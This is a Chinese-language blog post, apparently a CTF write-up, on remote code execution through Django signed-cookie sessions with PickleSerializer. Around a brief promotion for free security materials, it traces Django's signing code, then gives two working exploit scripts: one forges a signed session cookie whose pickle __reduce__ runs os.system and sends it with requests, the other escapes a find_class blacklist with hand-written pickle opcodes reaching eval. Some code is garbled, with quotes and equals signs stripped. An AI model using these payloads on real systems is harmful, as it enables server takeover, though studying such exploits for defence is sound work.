网站收录怎么删,外贸网站建设价格怎么样,个人网站 备案,详细的网站规划建设方案服务器漏洞成因
漏洞成因位于目标配置文件settings.py下 关于这两个配置项 SESSION_ENGINE#xff1a; 在Django中#xff0c;SESSION_ENGINE 是一个设置项#xff0c;用于指定用于存储和处理会话#xff08;session#xff09;数据的引擎。 SESSION_ENGINE 设置项允许您选择不…漏洞成因
漏洞成因位于目标配置文件settings.py下 关于这两个配置项 SESSION_ENGINE 在Django中SESSION_ENGINE 是一个设置项用于指定用于存储和处理会话session数据的引擎。 SESSION_ENGINE 设置项允许您选择不同的后端引擎来存储会话数据例如 数据库后端 (django.contrib.sessions.backends.db)会话数据存储在数据库表中。这是Django的默认会话引擎。缓存后端 (django.contrib.sessions.backends.cache)会话数据存储在缓存中例如Memcached或Redis。这种方式适用于需要快速读写和处理大量会话数据的情况。文件系统后端 (django.contrib.sessions.backends.file)会话数据存储在服务器的文件系统中。这种方式适用于小型应用不需要高级别的安全性和性能。签名Cookie后端 (django.contrib.sessions.backends.signed_cookies)会话数据以签名的方式存储在用户的Cookie中。这种方式适用于小型会话数据可以提供一定程度的安全性。缓存数据库后端 (django.contrib.sessions.backends.cached_db)会话数据存储在缓存中并且在需要时备份到数据库。这种方式结合了缓存和持久性存储的优势。 SESSION_SERIALIZER SESSION_SERIALIZER 是Django设置中的一个选项用于指定Django如何对会话session数据进行序列化和反序列化。会话是一种在Web应用程序中用于存储用户状态信息的机制例如用户登录状态、购物车内容、用户首选项等。 通过配置SESSION_SERIALIZER您可以指定Django使用哪种数据序列化格式来处理会话数据。Django支持多种不同的序列化格式包括以下常用的选项 ‘django.contrib.sessions.serializers.JSONSerializer’使用JSON格式来序列化和反序列化会话数据。JSON是一种通用的文本格式具有良好的可读性和跨平台兼容性。‘django.contrib.sessions.serializers.PickleSerializer’使用Python标准库中的pickle模块来序列化和反序列化会话数据。 那么上述配置项的意思就是使用cookie来存储session的签名然后使用pickle在c/s两端进行序列化和反序列化。
紧接着看看Django中的/core/signing模块Django2.2.5
主要看看函数参数即可 key验签中的密钥 serializer指定序列化和反序列化类 def dumps(obj, keyNone, saltdjango.core.signing, serializerJSONSerializer, compressFalse):Return URL-safe, hmac/SHA1 signed base64 compressed JSON string. If key isNone, use settings.SECRET_KEY instead.If compress is True (not the default), check if compressing using zlib cansave some space. Prepend a . to signify compression. This is includedin the signature, to protect against zip bombs.Salt can be used to namespace the hash, so that a signed string isonly valid for a given namespace. Leaving this at the defaultvalue or re-using a salt value across different parts of yourapplication without good cause is a security risk.The serializer is expected to return a bytestring.data serializer().dumps(obj) # 使用选定的类进行序列化# Flag for if its been compressed or notis_compressed False# 数据压缩处理if compress:# Avoid zlib dependency unless compress is being usedcompressed zlib.compress(data)if len(compressed) (len(data) - 1):data compressedis_compressed Truebase64d b64_encode(data).decode() # base64编码 decode转化成字符串if is_compressed:base64d . base64dreturn TimestampSigner(key, saltsalt).sign(base64d) # 返回一个签名值# loads的过程为dumps的逆过程
def loads(s, keyNone, saltdjango.core.signing, serializerJSONSerializer, max_ageNone):Reverse of dumps(), raise BadSignature if signature fails.The serializer is expected to accept a bytestring.# TimestampSigner.unsign() returns str but base64 and zlib compression# operate on bytes.base64d TimestampSigner(key, saltsalt).unsign(s, max_agemax_age).encode()decompress base64d[:1] b.if decompress:# Its compressed; uncompress it firstbase64d base64d[1:]data b64_decode(base64d)if decompress:data zlib.decompress(data)return serializer().loads(data)看看两个签名的类
在Signer类中中
class Signer:def __init__(self, keyNone, sep:, saltNone):# Use of native strings in all versions of Pythonself.key key or settings.SECRET_KEY # key默认为settings中的配置项 self.sep sepif _SEP_UNSAFE.match(self.sep):raise ValueError(Unsafe Signer separator: %r (cannot be empty or consist of only A-z0-9-_) % sep,)self.salt salt or %s.%s % (self.__class__.__module__, self.__class__.__name__)def signature(self, value):# 利用salt、value、key做一次签名return base64_hmac(self.salt signer, value, self.key)def sign(self, value):return %s%s%s % (value, self.sep, self.signature(value))def unsign(self, signed_value):if self.sep not in signed_value:raise BadSignature(No %s found in value % self.sep)value, sig signed_value.rsplit(self.sep, 1)if constant_time_compare(sig, self.signature(value)):return valueraise BadSignature(Signature %s does not match % sig)还有一个是时间戳的验签部分
class TimestampSigner(Signer):def timestamp(self):return baseconv.base62.encode(int(time.time()))def sign(self, value):value %s%s%s % (value, self.sep, self.timestamp())return super().sign(value)def unsign(self, value, max_ageNone):Retrieve original value and check it wasnt signed morethan max_age seconds ago.result super().unsign(value)value, timestamp result.rsplit(self.sep, 1)timestamp baseconv.base62.decode(timestamp)if max_age is not None:if isinstance(max_age, datetime.timedelta):max_age max_age.total_seconds()# Check timestamp is not older than max_ageage time.time() - timestampif age max_age:raise SignatureExpired(Signature age %s %s seconds % (age, max_age))return value时间戳主要是为了判断session是否过期因为设置了一个max_age字段做了差值进行比较 漏洞调试
我直接以ez_py的题目环境为漏洞调试环境Django2.2.5
帮助网安学习全套资料S信免费领取 ① 网安学习成长路径思维导图 ② 60网安经典常用工具包 ③ 100SRC分析报告 ④ 150网安攻防实战技术电子书 ⑤ 最权威CISSP 认证考试指南题库 ⑥ 超1800页CTF实战技巧手册 ⑦ 最新网安大厂面试题合集含答案 ⑧ APP客户端安全检测指南安卓IOS
老惯例先看栈帧
django/contrib/auth/middleware.py为处理Django框架中的身份验证和授权的中间件类协助处理了HTTP请求 AuthenticationMiddleware中调用了get_user用于获取session中的连接对象身份 随后调用Django auth模块下的get_user函数和_get_user_session_key函数 随后进行session的字典读取。由于加载session的过程为懒加载过程lazy load所以在读取SESSION_KEY的时候会进行_get_session函数运行从而触发session的反序列化 loads函数中的操作
首先先进行session是否过期的检验随后base64解码和zlib数据解压缩提取出python字节码
最后扔入pickle进行字节码解析 漏洞利用
首先利用条件如下 以cookie方式存储session实现了交互。
以Pickle为反序列化类触发__reduce__函数的执行实现RCE
EXP如下
import os
import django.core.signing
import requests# from Django.contrib.sessions.serializers.PickleSerializer
import pickle
class PickleSerializer:Simple wrapper around pickle to be used in signing.dumps andsigning.loads.protocol pickle.HIGHEST_PROTOCOLdef dumps(self, obj):return pickle.dumps(obj, self.protocol)def loads(self, data):return pickle.loads(data)SECRET_KEY p(^*36nw13xtb23vu%x)2wp-vk)ggje^sobx*w2zd^ae8qnn
salt django.contrib.sessions.backends.signed_cookiesclass exp():def __reduce__(self):# 返回一个callable 及其参数的元组return os.system, ((calc.exe),)_exp exp()
cookie_opcodes django.core.signing.dumps(_exp, keySECRET_KEY, saltsalt, serializerPickleSerializer)
print(cookie_opcodes)resp requests.get(http://127.0.0.1:8000/auth, cookies{sessionid: cookie_opcodes})Code-Breaking-Django调试
这道题是P神文章中的题目题目源码在这https://github.com/phith0n/code-breaking/blob/master/2018/picklecode
find_class沙盒逃逸 关于find_class 简单来说这是python pickle建议使用的安全策略这个函数在pickle字节码调用c即import时会进行校验校验函数由自己定义 import pickle
import io
import builtins__all__ (PickleSerializer, )class RestrictedUnpickler(pickle.Unpickler):blacklist {eval, exec, execfile, compile, open, input, __import__, exit}def find_class(self, module, name): # python字节码解析后调用了全局类或函数 import行为 就会自动调用find_class方法# Only allow safe classes from builtins.if module builtins and name not in self.blacklist: # 检查调用的类是否为内建类, 以及函数名是否出现在黑名单内return getattr(builtins, name)# Forbid everything else.raise pickle.UnpicklingError(global %s.%s is forbidden %(module, name))class PickleSerializer():def dumps(self, obj):return pickle.dumps(obj)def loads(self, data):try:# 校验data是否为字符串if isinstance(data, str):raise TypeError(Cant load pickle from unicode string)file io.BytesIO(data) # 读取datareturn RestrictedUnpickler(file,encodingASCII, errorsstrict).load()except Exception as e:return {}第一是要手撕python pickle opcode绕过find_class这个过程使用到了getattr函数这个函数有如下用法
class Person:def __init__(self, name):self.name name# 获取对象属性值
person Person(Alice)
name getattr(person, name)
print(name)# 调用对象方法
a getattr(builtins, eval)
a(print(11))# 可以设置default值
age getattr(person, age, 30)
print(age)builtins.getattr(builtins, eval)(print(11))那么同理也可以通过getattr调用eval
加载上下文由于后端在实现时import了一些包 这部分包的上下文可以使用globals()函数获得
所以可以直接导入builtins中的getattr最终通过获取globals()中的__builtins__来获取eval等
getattr GLOBAL(builtins, getattr) # GLOBAL为导入
dict GLOBAL(builtins, dict)
dict_get getattr(dict, get)
globals GLOBAL(builtins, globals)
builtins globals()
__builtins__ dict_get(builtins, __builtins__) # 获取真正的__builtins__
eval getattr(__builtins__, eval)
eval(__import__(os).system(calc.exe))
return查看Django.core.signing模块复刻sign写exp
from django.core import signing
import pickle
import io
import builtins
import zlib
import base64PayloadToBeEncoded bcbuiltins\ngetattr\np0\n0cbuiltins\ndict\np1\n0g0\n(g1\nS\get\\ntRp2\n0cbuiltins\nglobals\np3\n0g3\n(tRp4\n0g2\n(g4\nS\__builtins__\\ntRp5\n0g0\n(g5\nS\eval\\ntRp6\n0g6\n(S\__import__(os).system(calc.exe)\\ntR.SECURE_KEY p(^*36nw13xtb23vu%x)2wp-vk)ggje^sobx*w2zd^ae8qnn
salt django.contrib.sessions.backends.signed_cookiesdef b64_encode(s):return base64.urlsafe_b64encode(s).strip(b)base64d b64_encode(PayloadToBeEncoded).decode()def exp(key, payload):global salt# Flag for if its been compressed or not.is_compressed Falsecompress Falseif compress:# Avoid zlib dependency unless compress is being used.compressed zlib.compress(payload)if len(compressed) (len(payload) - 1):payload compressedis_compressed Truebase64d b64_encode(payload).decode()if is_compressed:base64d . base64dsession signing.TimestampSigner(keykey, saltsalt).sign(base64d)print(session)然后传session即可